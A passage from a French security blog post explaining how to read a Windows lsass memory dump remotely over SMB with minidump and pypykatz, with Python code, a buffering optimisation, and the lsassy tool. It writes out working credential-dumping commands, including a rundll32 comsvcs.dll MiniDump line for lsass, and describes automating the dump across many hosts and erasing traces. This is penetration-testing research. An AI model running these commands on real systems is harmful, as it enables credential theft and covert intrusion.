<span class="k">if</span> <span class="n">matches</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="k">raise</span> <span class="nb">Exception</span><span class="p">(</span><span class="s">"{} is not valid. Expected format : domain/username:password@host:/share/path/to/file"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">arg</span><span class="p">))</span>
<span class="k">return</span> <span class="n">matches</span><span class="p">.</span><span class="n">groups</span><span class="p">()</span>
<span class="s">"""
Ouverture du fichier distant
"""</span>
<span class="k">def</span> <span class="nf">__enter__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__fid</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__conn</span><span class="p">.</span><span class="n">openFile</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__tid</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">__fpath</span><span class="p">)</span>
<span class="k">return</span> <span class="bp">self</span>
<span class="s">"""
Fermeture de la connexion
"""</span>
<span class="k">def</span> <span class="nf">__exit__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">exc_type</span><span class="p">,</span> <span class="n">exc_val</span><span class="p">,</span> <span class="n">exc_tb</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">close</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__conn</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="s">"""
Lecture de @size octets
"""</span>
<span class="k">def</span> <span class="nf">read</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
<span class="k">if</span> <span class="n">size</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">return</span> <span class="sa">b</span><span class="s">''</span>
<span class="n">value</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__conn</span><span class="p">.</span><span class="n">readFile</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__tid</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">__fid</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span>
<span class="k">return</span> <span class="n">value</span>
<span class="s">"""
Déplacement du pointer d'offset
"""</span>
<span class="k">def</span> <span class="nf">seek</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="n">whence</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
<span class="k">if</span> <span class="n">whence</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span> <span class="o">=</span> <span class="n">offset</span>
<span class="s">"""
Retourne l'offset actuel
"""</span>
<span class="k">def</span> <span class="nf">tell</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span>
</code></pre></div></div>
<p>Nous avons donc notre nouvelle classe qui s’authentifie sur un partage réseau, et peut lire un fichier distant avec les méthodes citées. Si nous indiquons à minidump d’utiliser cette classe au lieu de la méthode <code class="language-plaintext highlighter-rouge">open</code> classique, alors minidump va lire le contenu distant sans sourciller.</p>
<p><a href="/assets/uploads/2019/11/minidump_patched.png"><img src="/assets/uploads/2019/11/minidump_patched.png" alt="Remote Minidump" /></a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>minidump adsec.local/jsnow:Winter_is_coming_\[email protected]:/C$/Windows/Temp/lsass.dmp
</code></pre></div></div>
<p>Et de la même manière, pypykatz utilisant minidump, il pourra analyser le dump distant sans le télécharger complètement.</p>
<p><a href="/assets/uploads/2019/11/pypykatz_patched.png"><img src="/assets/uploads/2019/11/pypykatz_patched.png" alt="Remote Pypykatz" /></a></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pypykatz lsa minidump adsec.local/jsnow:Winter_is_coming_\[email protected]:/C$/Windows/Temp/lsass.dmp
</code></pre></div></div>
<h3 id="optimisations">Optimisations</h3>
<p>Nous avons maintenant un moyen de lire et analyser un dump lsass à distance, sans avoir à télécharger les 150Mo de dump sur notre machine, c’est une belle avancée ! Cependant, même si nous ne devons pas tout télécharger, le dump prend beaucoup de temps, presqu’autant que le téléchargement. Cela est dû au fait qu’à chaque fois que minidump veut lire quelques octets, une nouvelle requête est effectuée vers le serveur distant. C’est très couteux en temps, et en ajoutant un peu de log, on se rend compte que minidump fait beaucoup, beaucoup de demandes de 4 octets.</p>
<p>Une solution que j’ai mise en place pour pallier ce problème est de créer un buffer local, et imposer un nombre minimal d’octets à lire lors d’une requête pour réduire l’overhead. Si une requête demande moins de 4096 octets, et bien nous demanderons quand même 4096 octets, que nous sauvegarderons en local, et nous ne reverrons que les 4 premiers.</p>
<p>Lors des appels suivant à la fonction <code class="language-plaintext highlighter-rouge">read</code>, si la taille de données demandée est dans le buffer local, on renvoie directement le buffer local, ce qui est bien plus rapide. Si en revanche la donnée n’est pas dans le buffer, alors un nouveau buffer de 4096 octets sera demandé.</p>
<p>Cette optimisation fonctionne très bien car minidump effectue beaucoup de lectures concomitantes. Voici comment elle a été mise en place.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">read</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
<span class="s">"""
On envoie une chaine vide si la taille est 0
"""</span>
<span class="k">if</span> <span class="n">size</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">return</span> <span class="sa">b</span><span class="s">''</span>
<span class="k">if</span> <span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"offset"</span><span class="p">]</span> <span class="o"><=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span> <span class="o"><=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"offset"</span><span class="p">]</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"size"</span><span class="p">]</span>
<span class="ow">and</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"offset"</span><span class="p">]</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"size"</span><span class="p">]</span> <span class="o">></span> <span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span> <span class="o">+</span> <span class="n">size</span><span class="p">):</span>
<span class="s">"""
Si les octets demandés sont inclus dans le buffer local self.__buffer_data["buffer"], on renvoie directement la valeur
"""</span>
<span class="n">value</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"buffer"</span><span class="p">][</span><span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span> <span class="o">-</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"offset"</span><span class="p">]:</span><span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span> <span class="o">-</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"offset"</span><span class="p">]</span> <span class="o">+</span> <span class="n">size</span><span class="p">]</span>
<span class="k">else</span><span class="p">:</span>
<span class="s">"""
Sinon, on demande le buffer au fichier distant
"""</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"offset"</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span>
<span class="s">"""
Si la demande est inférieure à self.__buffer_min_size octets, on prendra quand même self.__buffer_min_size octets
Et on stockera le surplus pour les prochains appels.
"""</span>
<span class="k">if</span> <span class="n">size</span> <span class="o"><</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_min_size</span><span class="p">:</span>
<span class="n">value</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__conn</span><span class="p">.</span><span class="n">readFile</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__tid</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">__fid</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_min_size</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"size"</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_min_size</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__total_read</span> <span class="o">+=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__buffer_min_size</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">value</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">__conn</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">__tid</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">__fid</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"size"</span><span class="p">]</span> <span class="o">=</span> <span class="n">size</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__total_read</span> <span class="o">+=</span> <span class="n">size</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__buffer_data</span><span class="p">[</span><span class="s">"buffer"</span><span class="p">]</span> <span class="o">=</span> <span class="n">value</span>
<span class="bp">self</span><span class="p">.</span><span class="n">__currentOffset</span> <span class="o">+=</span> <span class="n">size</span>
<span class="s">"""
On ne renvoie que ce qui est nécessaire
"""</span>
<span class="k">return</span> <span class="n">value</span><span class="p">[:</span><span class="n">size</span><span class="p">]</span>
</code></pre></div></div>
<p>Cette optimisation permet de drastiquement gagner du temps. Voici un benchmark fait sur ma machine :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python no_opti.py
Function=minidump, Time=39.831733942
$python opti.py
Function=minidump, Time=0.897719860077
</code></pre></div></div>
<p>Sans cette optimisation, le script prenait environ 40 secondes, tandis qu’avec l’optimisation, il prend moins d’une seconde. Moins d’une seconde pour extraire les secrets d’authentification d’un dump lsass distant de plus de 150Mo !</p>
<h3 id="ne-plus-dépendre-de-procdump">Ne plus dépendre de Procdump</h3>
<p>Mise à jour du 3 Janvier 2020 : Procdump est actuellement utilisé pour faire un dump du processus lsass. Bien qu’il soit signé par Microsoft, je trouve bien plus propre de <strong>ne pas</strong> passer par ça, mais plutôt d’utiliser des outils qui font partie de Windows <strong>par défaut</strong>.</p>
<p>Il y a une DLL (un fichier qui contient tout un tas de fonctions) appelée <strong>comsvcs.dll</strong>, située dans le dossier <code class="language-plaintext highlighter-rouge">C:\Windows\System32</code>, qui est utilisée pour dumper un processus lorsqu’il crash. Cette DLL contient notamment la fonction <code class="language-plaintext highlighter-rouge">MiniDumpW</code> qui semble avoir été écrite pour être utilisée avec l’outil <code class="language-plaintext highlighter-rouge">rundll32.exe</code>.</p>
<p><a href="/assets/uploads/2020/01/minidump_signature.png"><img src="/assets/uploads/2020/01/minidump_signature.png" alt="comsvcs dll minidump signature" /></a></p>
<p>Les deux premiers arguments ne sont pas utilisés, mais le troisième est divisé en trois parties. La première correspond à l’id du processus (PID), la deuxième à l’emplacement du dump et la troisième est en fait toujours le mot <strong>full</strong>, pas d’autre choix.</p>
<p><a href="/assets/uploads/2020/01/minidump_offsets.png"><img src="/assets/uploads/2020/01/minidump_offsets.png" alt="comsvcs dll minidump argument" /></a></p>
<p>Une fois que ces trois arguments ont été traités, et bien la DLL crée le fichier et dump le processus choisi dans ce fichier.</p>
<p><a href="/assets/uploads/2020/01/minidump_dump.png"><img src="/assets/uploads/2020/01/minidump_dump.png" alt="comsvcs dll minidump dump" /></a></p>
<p>Grâce à cette fonction, nous pouvons maintenant utiliser <strong>comsvcs.dll</strong> pour dumper le processus lsass, au lieu d’envoyer procdump et de l’exécuter sur la machine distante.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
</code></pre></div></div>
<p>Il faut cependant garder en tête que cette technique ne fonctionne qu’en étant l’utilisateur <strong>SYSTEM</strong>.</p>
<h2 id="module-crackmapexec">Module CrackMapExec</h2>
<p>Avec ce nouveau minidump, j’ai modifié le module CrackMapExec qui permet cette fois d’aller dumper lsass sur un ensemble de machines distantes, d’extraire les mots de passe <strong>à distance</strong> sur ces dumps, et de supprimer les traces de mon passage après coup.</p>
<h2 id="nouveaux-outils">Nouveaux outils</h2>
<p>Voici deux outils que j’ai développés pour concrétiser ces recherches :</p>
<p><a href="https://github.com/Hackndo/lsassy">lsassy</a> est disponible sur mon <a href="https://github.com/Hackndo/lsassy">Github</a> ou sur <a href="https://pypi.org/project/lsassy/">Pypi</a>. C’est l’interface entre Pypykatz et la cible, qui permet de lire le dump de lsass à distance, avec les optimisations dont on a parlé dans cet article.</p>
<p><a href="https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/lsassy.py">Le module CrackMapExec</a> permet d’automatiser tout le processus en faisant un dump de lsass sur les machines distantes, et en extrayant les identifiants des personnes connectées en utilisant <strong>lsassy</strong>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Ces recherches me sont très utiles pour mieux comprendre les outils que j’utilise au quotidien. J’ai aujourd’hui un outil qui fonctionne bien, rapidement, qui me sert grandement dans mes tests internes, et j’espère que ça pourra vous être utile.</p>
<p>J’espère que cet article vous donnera de nouvelles idées pour faire évoluer les outils d’infosec que nous utilisons au quotidien, à plus tard pour un nouvel article !</p>
Thu, 28 Nov 2019 22:40:00 +0000
https://beta.hackndo.com/remote-lsass-dump-passwords/
https://beta.hackndo.com/remote-lsass-dump-passwords/Active DirectoryWindows